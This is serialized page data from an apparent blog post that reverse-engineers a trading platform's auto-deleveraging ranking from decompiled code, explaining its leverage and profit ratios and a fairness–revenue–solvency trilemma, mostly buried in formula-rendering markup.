functions",{"type":26,"value":355},{"type":21,"tag":22,"props":162580,"children":162581},{},[162582,162584,162589],{"type":26,"value":162583},"Let's see how this ties back into the ",{"type":21,"tag":78,"props":162585,"children":162587},{"className":162586},[],[162588],{"type":26,"value":161668},{"type":26,"value":201},{"type":21,"tag":161343,"props":162591,"children":162593},{"source":161668,"target":162524,"direction":161669,"path":162592},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":21,"tag":22,"props":162595,"children":162596},{},[162597],{"type":26,"value":162598},"And here's the main call site used for sorting:",{"type":21,"tag":161343,"props":162600,"children":162603},{"addr":161714,"line-start":162601,"line-end":162602},"2806","2814",[],{"type":21,"tag":66,"props":162605,"children":162607},{"id":162606},"ratio-1-effective-leverage",[162608],{"type":26,"value":162609},"Ratio 1: Effective Leverage",{"type":21,"tag":143,"props":162611,"children":162612},{},[162613],{"type":21,"tag":78,"props":162614,"children":162616},{"className":162615},[6715,161371],[162617],{"type":21,"tag":153,"props":162618,"children":162620},{"className":162619},[161376],[162621],{"type":21,"tag":153,"props":162622,"children":162624},{"className":162623},[6721],[162625],{"type":21,"tag":153,"props":162626,"children":162628},{"className":162627,"ariaHidden":3294},[6726],[162629,162660],{"type":21,"tag":153,"props":162630,"children":162632},{"className":162631},[6731],[162633,162637,162647,162651,162656],{"type":21,"tag":153,"props":162634,"children":162636},{"className":162635,"style":117399},[6736],[],{"type":21,"tag":153,"props":162638,"children":162640},{"className":162639},[6742,26],[162641],{"type":21,"tag":153,"props":162642,"children":162644},{"className":162643},[6742],[162645],{"type":26,"value":162646},"effective leverage",{"type":21,"tag":153,"props":162648,"children":162650},{"className":162649,"style":6918},[6820],[],{"type":21,"tag":153,"props":162652,"children":162654},{"className":162653},[6923],[162655],{"type":26,"value":2367},{"type":21,"tag":153,"props":162657,"children":162659},{"className":162658,"style":6918},[6820],[],{"type":21,"tag":153,"props":162661,"children":162663},{"className":162662},[6731],[162664,162669],{"type":21,"tag":153,"props":162665,"children":162668},{"className":162666,"style":162667},[6736],"height:2.113em;vertical-align:-0.686em;",[],{"type":21,"tag":153,"props":162670,"children":162672},{"className":162671},[6742],[162673,162677,162772],{"type":21,"tag":153,"props":162674,"children":162676},{"className":162675},[24409,115862],[],{"type":21,"tag":153,"props":162678,"children":162680},{"className":162679},[115867],[162681],{"type":21,"tag":153,"props":162682,"children":162684},{"className":162683},[6762,24334],[162685,162760],{"type":21,"tag":153,"props":162686,"children":162688},{"className":162687},[6767],[162689,162755],{"type":21,"tag":153,"props":162690,"children":162692},{"className":162691,"style":161449},[6772],[162693,162714,162725],{"type":21,"tag":153,"props":162694,"children":162695},{"style":161453},[162696,162700],{"type":21,"tag":153,"props":162697,"children":162699},{"className":162698,"style":114515},[6781],[],{"type":21,"tag":153,"props":162701,"children":162703},{"className":162702},[6742],[162704],{"type":21,"tag":153,"props":162705,"children":162707},{"className":162706},[6742,26],[162708],{"type":21,"tag":153,"props":162709,"children":162711},{"className":162710},[6742],[162712],{"type":26,"value":162713},"account value",{"type":21,"tag":153,"props":162715,"children":162716},{"style":115917},[162717,162721],{"type":21,"tag":153,"props":162718,"children":162720},{"className":162719,"style":114515},[6781],[],{"type":21,"tag":153,"props":162722,"children":162724},{"className":162723,"style":115927},[115926],[],{"type":21,"tag":153,"props":162726,"children":162727},{"style":161504},[162728,162732],{"type":21,"tag":153,"props":162729,"children":162731},{"className":162730,"style":114515},[6781],[],{"type":21,"tag":153,"props":162733,"children":162735},{"className":162734},[6742],[162736,162741,162750],{"type":21,"tag":153,"props":162737,"children":162739},{"className":162738},[6742],[162740],{"type":26,"value":161519},{"type":21,"tag":153,"props":162742,"children":162744},{"className":162743},[6742,26],[162745],{"type":21,"tag":153,"props":162746,"children":162748},{"className":162747},[6742],[162749],{"type":26,"value":161529},{"type":21,"tag":153,"props":162751,"children":162753},{"className":162752},[6742],[162754],{"type":26,"value":161519},{"type":21,"tag":153,"props":162756,"children":162758},{"className":162757},[24437],[162759],{"type":26,"value":24440},{"type":21,"tag":153,"props":162761,"children":162763},{"className":162762},[6767],[162764],{"type":21,"tag":153,"props":162765,"children":162768},{"className":162766,"style":162767},[6772],"height:0.686em;",[162769],{"type":21,"tag":153,"props":162770,"children":162771},{},[],{"type":21,"tag":153,"props":162773,"children":162775},{"className":162774},[24431,115862],[],{"type":21,"tag":22,"props":162777,"children":162778},{},[162779,162781,162787,162789,162795,162796,162802,162804,162810],{"type":26,"value":162780},"We can see in the decompilation below, through the SIMD noise, that ",{"type":21,"tag":78,"props":162782,"children":162784},{"className":162783},[],[162785],{"type":26,"value":162786},"abs_notional",{"type":26,"value":162788}," (unsigned), and ",{"type":21,"tag":78,"props":162790,"children":162792},{"className":162791},[],[162793],{"type":26,"value":162794},"float.d(rbx)",{"type":26,"value":8232},{"type":21,"tag":78,"props":162797,"children":162799},{"className":162798},[],[162800],{"type":26,"value":162801},"account_value",{"type":26,"value":162803}," (signed); the division is ",{"type":21,"tag":78,"props":162805,"children":162807},{"className":162806},[],[162808],{"type":26,"value":162809},"abs_notional / account_value",{"type":26,"value":355},{"type":21,"tag":22,"props":162812,"children":162813},{},[162814],{"type":26,"value":162815},"This tells us the risk multiplier that the user took on for this position.",{"type":21,"tag":161343,"props":162817,"children":162821},{"addr":162818,"line-start":162819,"line-end":162820},"0x555556abb140","278","296",[],{"type":21,"tag":66,"props":162823,"children":162825},{"id":162824},"ratio-2-profit-ratio",[162826],{"type":26,"value":162827},"Ratio 2: Profit Ratio",{"type":21,"tag":143,"props":162829,"children":162830},{},[162831],{"type":21,"tag":78,"props":162832,"children":162834},{"className":162833},[6715,161371],[162835],{"type":21,"tag":153,"props":162836,"children":162838},{"className":162837},[161376],[162839],{"type":21,"tag":153,"props":162840,"children":162842},{"className":162841},[6721],[162843],{"type":21,"tag":153,"props":162844,"children":162846},{"className":162845,"ariaHidden":3294},[6726],[162847,162878],{"type":21,"tag":153,"props":162848,"children":162850},{"className":162849},[6731],[162851,162855,162865,162869,162874],{"type":21,"tag":153,"props":162852,"children":162854},{"className":162853,"style":117399},[6736],[],{"type":21,"tag":153,"props":162856,"children":162858},{"className":162857},[6742,26],[162859],{"type":21,"tag":153,"props":162860,"children":162862},{"className":162861},[6742],[162863],{"type":26,"value":162864},"profit ratio",{"type":21,"tag":153,"props":162866,"children":162868},{"className":162867,"style":6918},[6820],[],{"type":21,"tag":153,"props":162870,"children":162872},{"className":162871},[6923],[162873],{"type":26,"value":2367},{"type":21,"tag":153,"props":162875,"children":162877},{"className":162876,"style":6918},[6820],[],{"type":21,"tag":153,"props":162879,"children":162881},{"className":162880},[6731],[162882,162886],{"type":21,"tag":153,"props":162883,"children":162885},{"className":162884,"style":161424},[6736],[],{"type":21,"tag":153,"props":162887,"children":162889},{"className":162888},[6742],[162890,162894,163013],{"type":21,"tag":153,"props":162891,"children":162893},{"className":162892},[24409,115862],[],{"type":21,"tag":153,"props":162895,"children":162897},{"className":162896},[115867],[162898],{"type":21,"tag":153,"props":162899,"children":162901},{"className":162900},[6762,24334],[162902,163002],{"type":21,"tag":153,"props":162903,"children":162905},{"className":162904},[6767],[162906,162997],{"type":21,"tag":153,"props":162907,"children":162909},{"className":162908,"style":161449},[6772],[162910,162931,162942],{"type":21,"tag":153,"props":162911,"children":162912},{"style":161453},[162913,162917],{"type":21,"tag":153,"props":162914,"children":162916},{"className":162915,"style":114515},[6781],[],{"type":21,"tag":153,"props":162918,"children":162920},{"className":162919},[6742],[162921],{"type":21,"tag":153,"props":162922,"children":162924},{"className":162923},[6742,26],[162925],{"type":21,"tag":153,"props":162926,"children":162928},{"className":162927},[6742],[162929],{"type":26,"value":162930},"entry notional",{"type":21,"tag":153,"props":162932,"children":162933},{"style":115917},[162934,162938],{"type":21,"tag":153,"props":162935,"children":162937},{"className":162936,"style":114515},[6781],[],{"type":21,"tag":153,"props":162939,"children":162941},{"className":162940,"style":115927},[115926],[],{"type":21,"tag":153,"props":162943,"children":162944},{"style":161504},[162945,162949],{"type":21,"tag":153,"props":162946,"children":162948},{"className":162947,"style":114515},[6781],[],{"type":21,"tag":153,"props":162950,"children":162952},{"className":162951},[6742],[162953,162959,162964,162974,162979,162983,162987,162992],{"type":21,"tag":153,"props":162954,"children":162956},{"className":162955},[24316],[162957],{"type":26,"value":162958},"max",{"type":21,"tag":153,"props":162960,"children":162962},{"className":162961},[24409],[162963],{"type":26,"value":189},{"type":21,"tag":153,"props":162965,"children":162967},{"className":162966},[6742,26],[162968],{"type":21,"tag":153,"props":162969,"children":162971},{"className":162970},[6742],[162972],{"type":26,"value":162973},"pnl",{"type":21,"tag":153,"props":162975,"children":162977},{"className":162976},[6852],[162978],{"type":26,"value":6855},{"type":21,"tag":153,"props":162980,"children":162982},{"className":162981,"style":6859},[6820],[],{"type":21,"tag":153,"props":162984,"children":162986},{"className":162985,"style":6859},[6820],[],{"type":21,"tag":153,"props":162988,"children":162990},{"className":162989},[6742],[162991],{"type":26,"value":2996},{"type":21,"tag":153,"props":162993,"children":162995},{"className":162994},[24431],[162996],{"type":26,"value":2071},{"type":21,"tag":153,"props":162998,"children":163000},{"className":162999},[24437],[163001],{"type":26,"value":24440},{"type":21,"tag":153,"props":163003,"children":163005},{"className":163004},[6767],[163006],{"type":21,"tag":153,"props":163007,"children":163009},{"className":163008,"style":161547},[6772],[163010],{"type":21,"tag":153,"props":163011,"children":163012},{},[],{"type":21,"tag":153,"props":163014,"children":163016},{"className":163015},[24431,115862],[],{"type":21,"tag":22,"props":163018,"children":163019},{},[163020,163022,163028],{"type":26,"value":163021},"It uses entry notional (",{"type":21,"tag":78,"props":163023,"children":163025},{"className":163024},[],[163026],{"type":26,"value":163027},"r14_2",{"type":26,"value":163029},") as the divisor. PNL is clamped to non-negative before division.",{"type":21,"tag":22,"props":163031,"children":163032},{},[163033],{"type":26,"value":163034},"This basically tells us how well the user's bet went.",{"type":21,"tag":161343,"props":163036,"children":163040},{"addr":163037,"addr-start":163038,"addr-end":163039},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":21,"tag":22,"props":163042,"children":163043},{},[163044,163046,163052,163054,163060],{"type":26,"value":163045},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":21,"tag":78,"props":163047,"children":163049},{"className":163048},[],[163050],{"type":26,"value":163051},"1e-8",{"type":26,"value":163053},", in order not to cancel each other out. The final ADL ranking score is ",{"type":21,"tag":78,"props":163055,"children":163057},{"className":163056},[],[163058],{"type":26,"value":163059},"effective_leverage * profit_ratio",{"type":26,"value":163061},", consistent with both ratio directions and the max clamp on PNL.",{"type":21,"tag":22,"props":163063,"children":163064},{},[163065],{"type":26,"value":163066},"So, in essence, we look for risky and profitable positions!",{"type":21,"tag":114,"props":163068,"children":163070},{"id":163069},"partial-and-total-adl",[163071],{"type":26,"value":163072},"Partial and Total ADL",{"type":21,"tag":22,"props":163074,"children":163075},{},[163076],{"type":26,"value":163077},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":21,"tag":22,"props":163079,"children":163080},{},[163081],{"type":26,"value":163082},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":21,"tag":22,"props":163084,"children":163085},{},[163086,163088,163093],{"type":26,"value":163087},"So essentially, in pseudocode, the whole latter part of ",{"type":21,"tag":78,"props":163089,"children":163091},{"className":163090},[],[163092],{"type":26,"value":161668},{"type":26,"value":163094}," boils down to:",{"type":21,"tag":161343,"props":163096,"children":163099},{"addr":161714,"line-start":163097,"line-end":163098},"3252","3632",[],{"type":21,"tag":22,"props":163101,"children":163102},{},[163103],{"type":26,"value":163104},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":21,"tag":38066,"props":163106,"children":163108},{"id":163107},"branches",[163109],{"type":26,"value":163110},"Branches",{"type":21,"tag":22,"props":163112,"children":163113},{},[163114],{"type":26,"value":163115},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":21,"tag":22,"props":163117,"children":163118},{},[163119],{"type":26,"value":163120},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":21,"tag":38066,"props":163122,"children":163124},{"id":163123},"financial-conclusions",[163125],{"type":26,"value":163126},"Financial Conclusions",{"type":21,"tag":66,"props":163128,"children":163130},{"id":163129},"fairness-revenue-solvency-trilemma",[163131],{"type":26,"value":163132},"Fairness, Revenue, Solvency Trilemma",{"type":21,"tag":22,"props":163134,"children":163135},{},[163136,163138,163144],{"type":26,"value":163137},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":21,"tag":29,"props":163139,"children":163141},{"href":162496,"rel":163140},[33],[163142],{"type":26,"value":163143},"the paper mentioned before",{"type":26,"value":163145},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":21,"tag":87,"props":163147,"children":163148},{},[163149,163159,163169],{"type":21,"tag":91,"props":163150,"children":163151},{},[163152,163157],{"type":21,"tag":5302,"props":163153,"children":163154},{},[163155],{"type":26,"value":163156},"Solvency",{"type":26,"value":163158},": can the platform pay every trader out?",{"type":21,"tag":91,"props":163160,"children":163161},{},[163162,163167],{"type":21,"tag":5302,"props":163163,"children":163164},{},[163165],{"type":26,"value":163166},"Fairness",{"type":26,"value":163168},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":21,"tag":91,"props":163170,"children":163171},{},[163172,163177],{"type":21,"tag":5302,"props":163173,"children":163174},{},[163175],{"type":26,"value":163176},"Revenue",{"type":26,"value":163178},": the fraction of total winner PNL that survives after deleveraging.",{"type":21,"tag":22,"props":163180,"children":163181},{},[163182],{"type":26,"value":163183},"Let's borrow these definitions from the paper:",{"type":21,"tag":143,"props":163185,"children":163186},{},[163187],{"type":21,"tag":78,"props":163188,"children":163190},{"className":163189},[6715,161371],[163191],{"type":21,"tag":153,"props":163192,"children":163194},{"className":163193},[161376],[163195],{"type":21,"tag":153,"props":163196,"children":163198},{"className":163197},[6721],[163199],{"type":21,"tag":153,"props":163200,"children":163202},{"className":163201,"ariaHidden":3294},[6726],[163203],{"type":21,"tag":153,"props":163204,"children":163206},{"className":163205},[6731],[163207,163212],{"type":21,"tag":153,"props":163208,"children":163211},{"className":163209,"style":163210},[6736],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":21,"tag":153,"props":163213,"children":163215},{"className":163214},[6742],[163216],{"type":21,"tag":153,"props":163217,"children":163219},{"className":163218},[162073],[163220,164039],{"type":21,"tag":153,"props":163221,"children":163223},{"className":163222},[162078],[163224],{"type":21,"tag":153,"props":163225,"children":163227},{"className":163226},[6762,24334],[163228,164027],{"type":21,"tag":153,"props":163229,"children":163231},{"className":163230},[6767],[163232,164022],{"type":21,"tag":153,"props":163233,"children":163236},{"className":163234,"style":163235},[6772],"height:11.8392em;",[163237,163308,163325,163394,163464,163533,163603,163672,163741,163810,163880,163951],{"type":21,"tag":153,"props":163238,"children":163240},{"style":163239},"top:-14.3707em;",[163241,163246],{"type":21,"tag":153,"props":163242,"children":163245},{"className":163243,"style":163244},[6781],"height:3.3714em;",[],{"type":21,"tag":153,"props":163247,"children":163249},{"className":163248},[6742],[163250],{"type":21,"tag":153,"props":163251,"children":163253},{"className":163252},[6742],[163254,163259],{"type":21,"tag":153,"props":163255,"children":163257},{"className":163256,"style":24281},[6742,24280],[163258],{"type":26,"value":24284},{"type":21,"tag":153,"props":163260,"children":163262},{"className":163261},[6757],[163263],{"type":21,"tag":153,"props":163264,"children":163266},{"className":163265},[6762,24334],[163267,163297],{"type":21,"tag":153,"props":163268,"children":163270},{"className":163269},[6767],[163271,163292],{"type":21,"tag":153,"props":163272,"children":163274},{"className":163273,"style":111776},[6772],[163275],{"type":21,"tag":153,"props":163276,"children":163278},{"style":163277},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[163279,163283],{"type":21,"tag":153,"props":163280,"children":163282},{"className":163281,"style":6782},[6781],[],{"type":21,"tag":153,"props":163284,"children":163286},{"className":163285},[6787,6788,6789,6790],[163287],{"type":21,"tag":153,"props":163288,"children":163290},{"className":163289},[6742,24280,6790],[163291],{"type":26,"value":58695},{"type":21,"tag":153,"props":163293,"children":163295},{"className":163294},[24437],[163296],{"type":26,"value":24440},{"type":21,"tag":153,"props":163298,"children":163300},{"className":163299},[6767],[163301],{"type":21,"tag":153,"props":163302,"children":163304},{"className":163303,"style":95427},[6772],[163305],{"type":21,"tag":153,"props":163306,"children":163307},{},[],{"type":21,"tag":153,"props":163309,"children":163311},{"style":163310},"top:-12.8707em;",[163312,163316],{"type":21,"tag":153,"props":163313,"children":163315},{"className":163314,"style":163244},[6781],[],{"type":21,"tag":153,"props":163317,"children":163319},{"className":163318},[6742],[163320],{"type":21,"tag":153,"props":163321,"children":163323},{"className":163322,"style":97364},[6742,24280],[163324],{"type":26,"value":97398},{"type":21,"tag":153,"props":163326,"children":163328},{"style":163327},"top:-10.8392em;",[163329,163333],{"type":21,"tag":153,"props":163330,"children":163332},{"className":163331,"style":163244},[6781],[],{"type":21,"tag":153,"props":163334,"children":163336},{"className":163335},[6742],[163337],{"type":21,"tag":153,"props":163338,"children":163340},{"className":163339},[6742],[163341,163346],{"type":21,"tag":153,"props":163342,"children":163344},{"className":163343},[6742,24280],[163345],{"type":26,"value":5896},{"type":21,"tag":153,"props":163347,"children":163349},{"className":163348},[6757],[163350],{"type":21,"tag":153,"props":163351,"children":163353},{"className":163352},[6762,24334],[163354,163383],{"type":21,"tag":153,"props":163355,"children":163357},{"className":163356},[6767],[163358,163378],{"type":21,"tag":153,"props":163359,"children":163361},{"className":163360,"style":95873},[6772],[163362],{"type":21,"tag":153,"props":163363,"children":163364},{"style":95400},[163365,163369],{"type":21,"tag":153,"props":163366,"children":163368},{"className":163367,"style":6782},[6781],[],{"type":21,"tag":153,"props":163370,"children":163372},{"className":163371},[6787,6788,6789,6790],[163373],{"type":21,"tag":153,"props":163374,"children":163376},{"className":163375},[6742,24280,6790],[163377],{"type":26,"value":6471},{"type":21,"tag":153,"props":163379,"children":163381},{"className":163380},[24437],[163382],{"type":26,"value":24440},{"type":21,"tag":153,"props":163384,"children":163386},{"className":163385},[6767],[163387],{"type":21,"tag":153,"props":163388,"children":163390},{"className":163389,"style":95427},[6772],[163391],{"type":21,"tag":153,"props":163392,"children":163393},{},[],{"type":21,"tag":153,"props":163395,"children":163397},{"style":163396},"top:-8.8188em;",[163398,163402],{"type":21,"tag":153,"props":163399,"children":163401},{"className":163400,"style":163244},[6781],[],{"type":21,"tag":153,"props":163403,"children":163405},{"className":163404},[6742],[163406],{"type":21,"tag":153,"props":163407,"children":163409},{"className":163408},[6742],[163410,163416],{"type":21,"tag":153,"props":163411,"children":163413},{"className":163412,"style":95830},[6742,24280],[163414],{"type":26,"value":163415},"π",{"type":21,"tag":153,"props":163417,"children":163419},{"className":163418},[6757],[163420],{"type":21,"tag":153,"props":163421,"children":163423},{"className":163422},[6762,24334],[163424,163453],{"type":21,"tag":153,"props":163425,"children":163427},{"className":163426},[6767],[163428,163448],{"type":21,"tag":153,"props":163429,"children":163431},{"className":163430,"style":95873},[6772],[163432],{"type":21,"tag":153,"props":163433,"children":163434},{"style":95877},[163435,163439],{"type":21,"tag":153,"props":163436,"children":163438},{"className":163437,"style":6782},[6781],[],{"type":21,"tag":153,"props":163440,"children":163442},{"className":163441},[6787,6788,6789,6790],[163443],{"type":21,"tag":153,"props":163444,"children":163446},{"className":163445},[6742,24280,6790],[163447],{"type":26,"value":6471},{"type":21,"tag":153,"props":163449,"children":163451},{"className":163450},[24437],[163452],{"type":26,"value":24440},{"type":21,"tag":153,"props":163454,"children":163456},{"className":163455},[6767],[163457],{"type":21,"tag":153,"props":163458,"children":163460},{"className":163459,"style":95427},[6772],[163461],{"type":21,"tag":153,"props":163462,"children":163463},{},[],{"type":21,"tag":153,"props":163465,"children":163467},{"style":163466},"top:-7.3188em;",[163468,163472],{"type":21,"tag":153,"props":163469,"children":163471},{"className":163470,"style":163244},[6781],[],{"type":21,"tag":153,"props":163473,"children":163475},{"className":163474},[6742],[163476],{"type":21,"tag":153,"props":163477,"children":163479},{"className":163478},[6742],[163480,163485],{"type":21,"tag":153,"props":163481,"children":163483},{"className":163482},[6742,24280],[163484],{"type":26,"value":53745},{"type":21,"tag":153,"props":163486,"children":163488},{"className":163487},[6757],[163489],{"type":21,"tag":153,"props":163490,"children":163492},{"className":163491},[6762,24334],[163493,163522],{"type":21,"tag":153,"props":163494,"children":163496},{"className":163495},[6767],[163497,163517],{"type":21,"tag":153,"props":163498,"children":163500},{"className":163499,"style":95873},[6772],[163501],{"type":21,"tag":153,"props":163502,"children":163503},{"style":95400},[163504,163508],{"type":21,"tag":153,"props":163505,"children":163507},{"className":163506,"style":6782},[6781],[],{"type":21,"tag":153,"props":163509,"children":163511},{"className":163510},[6787,6788,6789,6790],[163512],{"type":21,"tag":153,"props":163513,"children":163515},{"className":163514},[6742,24280,6790],[163516],{"type":26,"value":6471},{"type":21,"tag":153,"props":163518,"children":163520},{"className":163519},[24437],[163521],{"type":26,"value":24440},{"type":21,"tag":153,"props":163523,"children":163525},{"className":163524},[6767],[163526],{"type":21,"tag":153,"props":163527,"children":163529},{"className":163528,"style":95427},[6772],[163530],{"type":21,"tag":153,"props":163531,"children":163532},{},[],{"type":21,"tag":153,"props":163534,"children":163536},{"style":163535},"top:-5.8188em;",[163537,163541],{"type":21,"tag":153,"props":163538,"children":163540},{"className":163539,"style":163244},[6781],[],{"type":21,"tag":153,"props":163542,"children":163544},{"className":163543},[6742],[163545],{"type":21,"tag":153,"props":163546,"children":163548},{"className":163547},[6742],[163549,163554],{"type":21,"tag":153,"props":163550,"children":163552},{"className":163551,"style":124624},[6742,24280],[163553],{"type":26,"value":51862},{"type":21,"tag":153,"props":163555,"children":163557},{"className":163556},[6757],[163558],{"type":21,"tag":153,"props":163559,"children":163561},{"className":163560},[6762,24334],[163562,163592],{"type":21,"tag":153,"props":163563,"children":163565},{"className":163564},[6767],[163566,163587],{"type":21,"tag":153,"props":163567,"children":163569},{"className":163568,"style":95873},[6772],[163570],{"type":21,"tag":153,"props":163571,"children":163573},{"style":163572},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[163574,163578],{"type":21,"tag":153,"props":163575,"children":163577},{"className":163576,"style":6782},[6781],[],{"type":21,"tag":153,"props":163579,"children":163581},{"className":163580},[6787,6788,6789,6790],[163582],{"type":21,"tag":153,"props":163583,"children":163585},{"className":163584},[6742,24280,6790],[163586],{"type":26,"value":6471},{"type":21,"tag":153,"props":163588,"children":163590},{"className":163589},[24437],[163591],{"type":26,"value":24440},{"type":21,"tag":153,"props":163593,"children":163595},{"className":163594},[6767],[163596],{"type":21,"tag":153,"props":163597,"children":163599},{"className":163598,"style":95427},[6772],[163600],{"type":21,"tag":153,"props":163601,"children":163602},{},[],{"type":21,"tag":153,"props":163604,"children":163606},{"style":163605},"top:-4.3188em;",[163607,163611],{"type":21,"tag":153,"props":163608,"children":163610},{"className":163609,"style":163244},[6781],[],{"type":21,"tag":153,"props":163612,"children":163614},{"className":163613},[6742],[163615],{"type":21,"tag":153,"props":163616,"children":163618},{"className":163617},[6742],[163619,163624],{"type":21,"tag":153,"props":163620,"children":163622},{"className":163621},[6742,24280],[163623],{"type":26,"value":21972},{"type":21,"tag":153,"props":163625,"children":163627},{"className":163626},[6757],[163628],{"type":21,"tag":153,"props":163629,"children":163631},{"className":163630},[6762,24334],[163632,163661],{"type":21,"tag":153,"props":163633,"children":163635},{"className":163634},[6767],[163636,163656],{"type":21,"tag":153,"props":163637,"children":163639},{"className":163638,"style":95873},[6772],[163640],{"type":21,"tag":153,"props":163641,"children":163642},{"style":95400},[163643,163647],{"type":21,"tag":153,"props":163644,"children":163646},{"className":163645,"style":6782},[6781],[],{"type":21,"tag":153,"props":163648,"children":163650},{"className":163649},[6787,6788,6789,6790],[163651],{"type":21,"tag":153,"props":163652,"children":163654},{"className":163653},[6742,24280,6790],[163655],{"type":26,"value":6471},{"type":21,"tag":153,"props":163657,"children":163659},{"className":163658},[24437],[163660],{"type":26,"value":24440},{"type":21,"tag":153,"props":163662,"children":163664},{"className":163663},[6767],[163665],{"type":21,"tag":153,"props":163666,"children":163668},{"className":163667,"style":95427},[6772],[163669],{"type":21,"tag":153,"props":163670,"children":163671},{},[],{"type":21,"tag":153,"props":163673,"children":163675},{"style":163674},"top:-2.5512em;",[163676,163680],{"type":21,"tag":153,"props":163677,"children":163679},{"className":163678,"style":163244},[6781],[],{"type":21,"tag":153,"props":163681,"children":163683},{"className":163682},[6742],[163684],{"type":21,"tag":153,"props":163685,"children":163687},{"className":163686},[6742],[163688,163693],{"type":21,"tag":153,"props":163689,"children":163691},{"className":163690},[6742,24280],[163692],{"type":26,"value":86642},{"type":21,"tag":153,"props":163694,"children":163696},{"className":163695},[6757],[163697],{"type":21,"tag":153,"props":163698,"children":163700},{"className":163699},[6762,24334],[163701,163730],{"type":21,"tag":153,"props":163702,"children":163704},{"className":163703},[6767],[163705,163725],{"type":21,"tag":153,"props":163706,"children":163708},{"className":163707,"style":95873},[6772],[163709],{"type":21,"tag":153,"props":163710,"children":163711},{"style":95400},[163712,163716],{"type":21,"tag":153,"props":163713,"children":163715},{"className":163714,"style":6782},[6781],[],{"type":21,"tag":153,"props":163717,"children":163719},{"className":163718},[6787,6788,6789,6790],[163720],{"type":21,"tag":153,"props":163721,"children":163723},{"className":163722},[6742,24280,6790],[163724],{"type":26,"value":6471},{"type":21,"tag":153,"props":163726,"children":163728},{"className":163727},[24437],[163729],{"type":26,"value":24440},{"type":21,"tag":153,"props":163731,"children":163733},{"className":163732},[6767],[163734],{"type":21,"tag":153,"props":163735,"children":163737},{"className":163736,"style":95427},[6772],[163738],{"type":21,"tag":153,"props":163739,"children":163740},{},[],{"type":21,"tag":153,"props":163742,"children":163744},{"style":163743},"top:-0.3652em;",[163745,163749],{"type":21,"tag":153,"props":163746,"children":163748},{"className":163747,"style":163244},[6781],[],{"type":21,"tag":153,"props":163750,"children":163752},{"className":163751},[6742],[163753],{"type":21,"tag":153,"props":163754,"children":163756},{"className":163755},[6742],[163757,163762],{"type":21,"tag":153,"props":163758,"children":163760},{"className":163759,"style":95578},[6742,24280],[163761],{"type":26,"value":95581},{"type":21,"tag":153,"props":163763,"children":163765},{"className":163764},[6757],[163766],{"type":21,"tag":153,"props":163767,"children":163769},{"className":163768},[6762,24334],[163770,163799],{"type":21,"tag":153,"props":163771,"children":163773},{"className":163772},[6767],[163774,163794],{"type":21,"tag":153,"props":163775,"children":163777},{"className":163776,"style":144899},[6772],[163778],{"type":21,"tag":153,"props":163779,"children":163780},{"style":112773},[163781,163785],{"type":21,"tag":153,"props":163782,"children":163784},{"className":163783,"style":6782},[6781],[],{"type":21,"tag":153,"props":163786,"children":163788},{"className":163787},[6787,6788,6789,6790],[163789],{"type":21,"tag":153,"props":163790,"children":163792},{"className":163791,"style":24281},[6742,24280,6790],[163793],{"type":26,"value":8717},{"type":21,"tag":153,"props":163795,"children":163797},{"className":163796},[24437],[163798],{"type":26,"value":24440},{"type":21,"tag":153,"props":163800,"children":163802},{"className":163801},[6767],[163803],{"type":21,"tag":153,"props":163804,"children":163806},{"className":163805,"style":95427},[6772],[163807],{"type":21,"tag":153,"props":163808,"children":163809},{},[],{"type":21,"tag":153,"props":163811,"children":163813},{"style":163812},"top:2.2624em;",[163814,163818],{"type":21,"tag":153,"props":163815,"children":163817},{"className":163816,"style":163244},[6781],[],{"type":21,"tag":153,"props":163819,"children":163821},{"className":163820},[6742],[163822],{"type":21,"tag":153,"props":163823,"children":163825},{"className":163824},[6742],[163826,163832],{"type":21,"tag":153,"props":163827,"children":163829},{"className":163828,"style":95344},[6742,24280],[163830],{"type":26,"value":163831},"D",{"type":21,"tag":153,"props":163833,"children":163835},{"className":163834},[6757],[163836],{"type":21,"tag":153,"props":163837,"children":163839},{"className":163838},[6762,24334],[163840,163869],{"type":21,"tag":153,"props":163841,"children":163843},{"className":163842},[6767],[163844,163864],{"type":21,"tag":153,"props":163845,"children":163847},{"className":163846,"style":144899},[6772],[163848],{"type":21,"tag":153,"props":163849,"children":163850},{"style":112343},[163851,163855],{"type":21,"tag":153,"props":163852,"children":163854},{"className":163853,"style":6782},[6781],[],{"type":21,"tag":153,"props":163856,"children":163858},{"className":163857},[6787,6788,6789,6790],[163859],{"type":21,"tag":153,"props":163860,"children":163862},{"className":163861,"style":24281},[6742,24280,6790],[163863],{"type":26,"value":8717},{"type":21,"tag":153,"props":163865,"children":163867},{"className":163866},[24437],[163868],{"type":26,"value":24440},{"type":21,"tag":153,"props":163870,"children":163872},{"className":163871},[6767],[163873],{"type":21,"tag":153,"props":163874,"children":163876},{"className":163875,"style":95427},[6772],[163877],{"type":21,"tag":153,"props":163878,"children":163879},{},[],{"type":21,"tag":153,"props":163881,"children":163883},{"style":163882},"top:4.8901em;",[163884,163888],{"type":21,"tag":153,"props":163885,"children":163887},{"className":163886,"style":163244},[6781],[],{"type":21,"tag":153,"props":163889,"children":163891},{"className":163890},[6742],[163892],{"type":21,"tag":153,"props":163893,"children":163895},{"className":163894},[6742],[163896,163902],{"type":21,"tag":153,"props":163897,"children":163899},{"className":163898,"style":97352},[6742,24280],[163900],{"type":26,"value":163901},"U",{"type":21,"tag":153,"props":163903,"children":163905},{"className":163904},[6757],[163906],{"type":21,"tag":153,"props":163907,"children":163909},{"className":163908},[6762,24334],[163910,163940],{"type":21,"tag":153,"props":163911,"children":163913},{"className":163912},[6767],[163914,163935],{"type":21,"tag":153,"props":163915,"children":163917},{"className":163916,"style":144899},[6772],[163918]